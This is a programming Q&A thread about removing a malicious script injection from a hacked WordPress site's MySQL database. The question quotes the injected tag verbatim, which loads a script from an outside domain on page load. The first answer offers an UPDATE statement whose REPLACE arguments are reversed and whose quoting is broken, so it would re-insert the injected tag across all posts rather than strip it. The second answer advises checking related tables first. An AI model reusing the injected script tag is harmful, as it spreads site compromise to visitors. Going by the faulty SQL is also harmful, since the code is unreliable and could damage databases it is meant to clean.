Cleaning injected javascript reference in MYSQL database

user_10901635 0
Viewed 568

I am trying to clean up a wordpress database of an infected site. I have very little knowledge of mysql, i have been trying a couple options with bad results so far. I attached a few images showing the issue, and this is the html code that ends up on the pages:

title="<script src='https://saskmade.net/head.js?ver=2.0.0' type='text/javascript'></script>"

My failed attempts included clicking on that DELETE button, so the whole site breaks of course.

I do have a backups so i can play safe. I know there should be a simple "find and replace" function to remove the script from the tables, but im not sure if i should be looking for anything else, as you can see there is actually more stuff in the HTML code (the #039 part for example, i just want to make sure i remove everything correctly. Thank you so much for any help.

search results in database

Code example

virus mysql
2 Answers

A simple string replace call with a table update in MySQL looks like this:

UPDATE wp_posts
SET post_content = REPLACE(
  '<script src='https://saskmade.net/head.js?ver=2.0.0' type='text/javascript'></script>',
  '',
  post_content
);

I am not sure if your data is really encoded (I guess yes), otherwise use < instead of &lt; etc.

This does not cover variations but is the most basic way of "find and replace" in native MySQL. It does not cover blankspaces and returns tho, I think you should play arround with it.

Even simpler approach

would be to open the dump in your favorite text editor (I suggest Notepad++ because it has Regex search & replace) and just go through that file the manual way.

user_19482920

Do not forget to check terms, comments, and post_meta tables as well. Potentially, your site breaks because you mess up the data integrity. Do not start by deleting stuff. Start by identifying affected tables & rows. Then work out the relationships between affected rows and other DB objects, delete all the bad stuff at once.

This could help a lot: https://codex.wordpress.org/Database_Description

user_35229570
Related